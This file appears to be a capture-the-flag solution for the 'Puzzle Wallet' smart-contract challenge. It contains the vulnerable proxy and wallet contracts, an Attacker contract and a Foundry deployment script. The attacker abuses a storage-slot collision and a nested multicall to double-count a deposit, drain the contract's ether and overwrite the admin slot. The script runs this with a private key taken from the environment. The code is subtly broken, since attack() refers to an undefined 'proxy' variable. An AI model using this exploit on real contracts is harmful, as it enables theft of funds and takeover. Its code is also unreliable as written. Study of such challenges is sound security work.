Puzzle Wallet

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;

import "../helpers/UpgradeableProxy-08.sol";

contract PuzzleProxy is UpgradeableProxy {
    address public pendingAdmin;
    address public admin;

    constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) {
        admin = _admin;
    }

    modifier onlyAdmin {
      require(msg.sender == admin, "Caller is not the admin");
      _;
    }

    function proposeNewAdmin(address _newAdmin) external {
        pendingAdmin = _newAdmin;
    }

    function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
        require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
        admin = pendingAdmin;
    }

    function upgradeTo(address _newImplementation) external onlyAdmin {
        _upgradeTo(_newImplementation);
    }
}

contract PuzzleWallet {
    address public owner;
    uint256 public maxBalance;
    mapping(address => bool) public whitelisted;
    mapping(address => uint256) public balances;

    function init(uint256 _maxBalance) public {
        require(maxBalance == 0, "Already initialized");
        maxBalance = _maxBalance;
        owner = msg.sender;
    }

    modifier onlyWhitelisted {
        require(whitelisted[msg.sender], "Not whitelisted");
        _;
    }

    function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
      require(address(this).balance == 0, "Contract balance is not 0");
      maxBalance = _maxBalance;
    }

    function addToWhitelist(address addr) external {
        require(msg.sender == owner, "Not the owner");
        whitelisted[addr] = true;
    }

    function deposit() external payable onlyWhitelisted {
      require(address(this).balance <= maxBalance, "Max balance reached");
      balances[msg.sender] += msg.value;
    }

    function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
        require(balances[msg.sender] >= value, "Insufficient balance");
        balances[msg.sender] -= value;
        (bool success, ) = to.call{ value: value }(data);
        require(success, "Execution failed");
    }

    function multicall(bytes[] calldata data) external payable onlyWhitelisted {
        bool depositCalled = false;
        for (uint256 i = 0; i < data.length; i++) {
            bytes memory _data = data[i];
            bytes4 selector;
            assembly {
                selector := mload(add(_data, 32))
            }
            if (selector == this.deposit.selector) {
                require(!depositCalled, "Deposit can only be called once");
                // Protect against reusing msg.value
                depositCalled = true;
            }
            (bool success, ) = address(this).delegatecall(data[i]);
            require(success, "Error while delegating call");
        }
    }
}

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "../lib/forge-std/src/console.sol";

interface PuzzleProxy {
  function init(uint256 _maxBalance) external;
  function owner() external returns(address);
  function pendingAdmin() external returns(address);
  function maxBalance() external returns(uint);
  function setMaxBalance(uint) external;
  function admin() external returns(address);
  function proposeNewAdmin(address _newAdmin) external;
  function approveNewAdmin(address _expectedAdmin) external;
  function multicall(bytes[] calldata data) external payable; 
  function deposit() external payable;
  function addToWhitelist(address addr) external;
  function execute(address to, uint256 value, bytes calldata data) external payable;
  function balances(address) external returns(uint);
  function implementation() external returns (address);
}

contract Attacker {
  function attack(PuzzleProxy _proxy) public payable {
    // [slot0] PuzzleWallet: owner => PuzzleProxy: pendingAdmin
    // This mean that owner is now the address of the attacker
    proxy.proposeNewAdmin(address(this));
    proxy.addToWhitelist(address(this));

    bytes memory deposit = abi.encodeCall(PuzzleProxy.deposit, ());

    // We can call multicall inside multicall to bypass the depositCalled flag
    // It's like some sort of re-entrancy variant attack
    bytes[] memory datas = new bytes[](1);
    datas[0] = deposit;
    bytes memory multicall = abi.encodeCall(PuzzleProxy.multicall, (datas));

    bytes[] memory selectors = new bytes[](2);
    selectors[1] = multicall; // One deposit call nested iside a multicall
    selectors[0] = deposit; // The second deposit call

    // So we deposit once but we can increase our balance twice !
    proxy.multicall{ value: msg.value }(selectors);

    // Then we can withdraw all funds to our address
    proxy.execute(msg.sender, address(_proxy).balance, "");

    // Then we can overwrite the maxBalance slot which map to the admin slot
    // inside the proxy contract :)
    proxy.setMaxBalance(uint160(address(msg.sender)));
  }
}

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Script.sol";
import "forge-std/console.sol";

import {Attacker,PuzzleProxy} from '../src/24.sol';

contract POC is Script {

    function run() external {
        uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
        address addr = vm.envAddress("INSTANCE_24");

        vm.startBroadcast(deployerPrivateKey);

        Attacker attacker = new Attacker();
        PuzzleProxy proxy = PuzzleProxy(addr);

        console.logAddress(proxy.admin());
        
        attacker.attack{ value: address(proxy).balance }(proxy);

        console.logAddress(proxy.admin());

        vm.stopBroadcast();

    }
}